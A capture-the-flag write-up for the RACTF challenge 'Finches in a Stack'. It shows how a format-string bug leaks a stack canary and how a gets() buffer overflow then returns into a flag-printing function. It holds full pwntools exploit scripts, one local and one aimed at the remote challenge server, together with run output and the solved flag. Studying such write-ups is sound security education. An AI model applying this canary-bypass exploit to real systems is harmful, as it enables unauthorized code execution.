# Finches in a Stack
## Protections
First, let's check the protections that this binary has using checksec:
```sasha@kali:~/RACTF$ pwn checksec fias                                                                                                                                                                                                    [*] '/home/kali/RACTF/fias'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)```
So here's what we have to deal with:
* Canary: This is a protection that places a random value before a return pointer, so that if you overwrite it with an invalid value, the program crashes
* NX: This prevents us from executing our own shellcode by marking critical areas as non-executable
## Basic Reversing
Running the file shows us that the file takes user input twice, and the first input is printed back to the screen:```sasha@kali:~/RACTF$ ./fiasNo! You bad canary! Get back in your cage!
I don't want you attacking anyone!
Hi! What's your name? sashaCTFNice to meet you, sashaCTF!Do YOU want to pet my canary?yessasha@kali:~/RACTF$ ```
Since our input is printed back to us, let's check for a format string vulnerability:```sasha@kali:~/RACTF$ ./fiasNo! You bad canary! Get back in your cage!
I don't want you attacking anyone!
Hi! What's your name? %x.%x        Nice to meet you, f7f7f2c0.3e8!Do YOU want to pet my canary?yessasha@kali:~/RACTF$ ```
And here we see it is vulnerable to format strings, which is what we can use to leak the canary
Now let's see the strings of this file:
```sasha@kali:~/RACTF$ rabin2 -zqq fias/bin/cat flag.txtNo! You bad canary! Get back in your cage!\nI don't want you attacking anyone!\nHi! What's your name? Nice to meet you, Do YOU want to pet my canary?sasha@kali:~/RACTF$ ```
And we can see an interesting string:> /bin/cat flag.txt
Lets now see the functions in this file:```sasha@kali:~/RACTF$ r2 fias[0x080490c0]> aa[x] Analyze all flags starting with sym. and entry0 (aa)[0x080490c0]> afl0x080490c0    1 50           entry00x080490f3    1 4            fcn.080490f30x08049090    1 6            sym.imp.__libc_start_main0x08049120    4 49   -> 40   sym.deregister_tm_clones0x08049160    4 57   -> 53   sym.register_tm_clones0x080491a0    3 33   -> 30   entry.fini00x080491d0    1 2            entry.init00x080493e0    1 1            sym.__libc_csu_fini0x08049239    3 194          sym.say_hi0x08049110    1 4            sym.__x86.get_pc_thunk.bx0x08049030    1 6            sym.imp.printf0x08049040    1 6            sym.imp.gets0x08049070    1 6            sym.imp.puts0x080493f0    1 20           sym.__stack_chk_fail_local0x08049050    1 6            sym.imp.__stack_chk_fail0x080493e1    1 4            sym.__x86.get_pc_thunk.bp0x08049404    1 20           sym._fini0x080491fd    1 60           sym.anger0x08049380    4 93           sym.__libc_csu_init0x08049100    1 1            sym._dl_relocate_static_pie0x080492fb    1 128          main0x080490a0    1 6            sym.imp.setvbuf0x08049060    1 6            sym.imp.getegid0x080490b0    1 6            sym.imp.setresgid0x0804937b    1 4            sym.__x86.get_pc_thunk.ax0x080491d2    1 43           sym.flag0x08049080    1 6            sym.imp.system0x08049000    3 32           sym._init[0x080490c0]> ```Here we see or regular functions, main, entry0 etc.We can also see that the file uses `gets`, meaning its unsafely taking user input, making it easy for us to bof it, and uses `printf`, which we use for our format strings. We also see two custom functions `say_hi` and `anger`, which will be used in main.Obviously the most important functions are `flag` and `system`. Lets disassemble `flag`:```[0x080490c0]> pdf @sym.flag┌ 43: sym.flag ();│           ; var int32_t var_4h @ ebp-0x4│           0x080491d2      55             push ebp│           0x080491d3      89e5           mov ebp, esp│           0x080491d5      53             push ebx│           0x080491d6      83ec04         sub esp, 4│           0x080491d9      e89d010000     call sym.__x86.get_pc_thunk.ax│           0x080491de      05222e0000     add eax, 0x2e22│           0x080491e3      83ec0c         sub esp, 0xc│           0x080491e6      8d9008e0ffff   lea edx, dword [eax - 0x1ff8]│           0x080491ec      52             push edx│           0x080491ed      89c3           mov ebx, eax│           0x080491ef      e88cfeffff     call sym.imp.system         ; int system(const char *string)│           0x080491f4      83c410         add esp, 0x10│           0x080491f7      90             nop│           0x080491f8      8b5dfc         mov ebx, dword [var_4h]│           0x080491fb      c9             leave└           0x080491fc      c3             ret[0x080490c0]> ```So we see that flag executes a system command, and we can assume its using `/bin/cat flag.txt` from before. So we'll need to return back to this function with a bof
## Overview
This exploit is going to have 4 main parts
* Padding, to reach the canary* Canary, to overwrite canary, so that the program doesn't crash* More padding, to reach the return pointer* Return Pointer, where we point back into `flag`
## Finding offset
I just found the offset in a lazy way, by trial and error, see where it started to crash the file due to me overwriting the canary. However, there are better ways of finding the offset, such as ghidra, radare2 or gdb. Anyway, I found the offset (of the second input) to be **25**
## Leaking Canary
Now, we need to bypass the stack canary. To do this, we need to leak it using format strings. The one usually used would either be `%11$p` or `%19$p`, but for this binary it is `%11$p`, as `%19$p` seems to leak the uid(Note: I know that `%11$lx` or `%19$lx` can also be used, which just leak hex, I prefer to use $p, as it leaks it in the `0x` format)
Running the file in gdb, we can also check that this does leak the canary (breakpoint at say_hi as that's where input is taken):```sasha@kalivm:~/RACTF$ gdb fiasGNU gdb (Debian 9.1-3) 9.1...gdb-peda$ b say_hiBreakpoint 1 at 0x804923egdb-peda$ r```
These two lines of code are important as these actually take the canary from the `eax` register, and put it before the return pointer:```   0x804924c <say_hi+19>:       mov    eax,gs:0x14=> 0x8049252 <say_hi+25>:       mov    DWORD PTR [ebp-0xc],eax```So we can see the canary in the eax register here:```[----------------------------------registers-----------------------------------]EAX: 0x35131100 EBX: 0x804c000 --> 0x804bf0c --> 0x1```So the canary for this runthrough is `0x35131100`And fast forward to the second `printf` after `gets` which will print our leaked value:```gdb-peda$ 0x35131100!```And they match!
## Finding second offset
Again, I did this via trial and error, and I made sure to use the correct canary of course. Through my trial and error, I found the second offset is **12**, then the next 4 bytes overwrite the return pointer
## Finding return pointer
This was simple, all I needed to do was view the functions, like I did before:`0x080491d2    1 43           sym.flag`So you'll get `0x080491d2`
## Creating local exploit
We now have everything we need to write the exploit, and I'll be using python3 with pwntools. And this is what my local exploit looked like:```pythonfrom pwn import *
e = ELF("fias")io = e.process()
io.recvline()	# These recieve all the junkio.recvline()io.recvline()io.recvline()
io.sendline("-%11$p-")			# Sends format stringrecieved = io.recvline().decode().split("-")	# Leaks the canary, and recieves itcanary = int(recieved[1],16)		# Convert to hex numberlog.info("Canary: " + str(hex(canary)))		# Print canaryio.recvline()	# More junk
payload = b"a" * 25		# Paddingpayload += p32(canary)		# Canary (p32 is basically struct.pack)payload += b'bbbbccccdddd'	# More paddingpayload += p32(0x080491d2)	# Return pointer
io.sendline(payload)	# Send payloadprint(io.recvline().decode())	# Recieve flagio.close()```
Of course make a `flag.txt` to cat when testing locally
## Transfering to remote
The script for remote is very similiar to local, again using python3 with pwntools. This is my script:```pythonfrom pwn import *import sys
args = sys.argv[1].split(":")ip = args[0]port = args[1]
io = remote(ip,port)
io.recvline()	# These recieve all the junkio.recvline()io.recvline()io.recvline()
io.sendline("-%11$p-")			# Sends format stringrecieved = io.recvline().decode().split("-")	# Leaks the canary, and recieves itcanary = int(recieved[1],16)		# Convert to hex numberlog.info("Canary: " + str(hex(canary)))		# Print canaryio.recvline()	# More junk
payload = b"a" * 25		# Paddingpayload += p32(canary)		# Canary (p32 is basically struct.pack)payload += b'bbbbccccdddd'	# More paddingpayload += p32(0x080491d2)	# Return pointer
io.sendline(payload)	# Send payloadprint(io.recvline().decode())	# Recieve flagio.close()```
Now to run it:```sasha@kali:~/RACTF$ python3 fiasremote.py 95.216.233.106:45124[+] Opening connection to 95.216.233.106 on port 45124: Done[*] Canary: 0x4c827a00ractf{St4ck_C4n4ry_FuN!}
[*] Closed connection to 95.216.233.106 port 45124sasha@kali:~/RACTF$```Challenge done!
**ractf{St4ck_C4n4ry_FuN!}**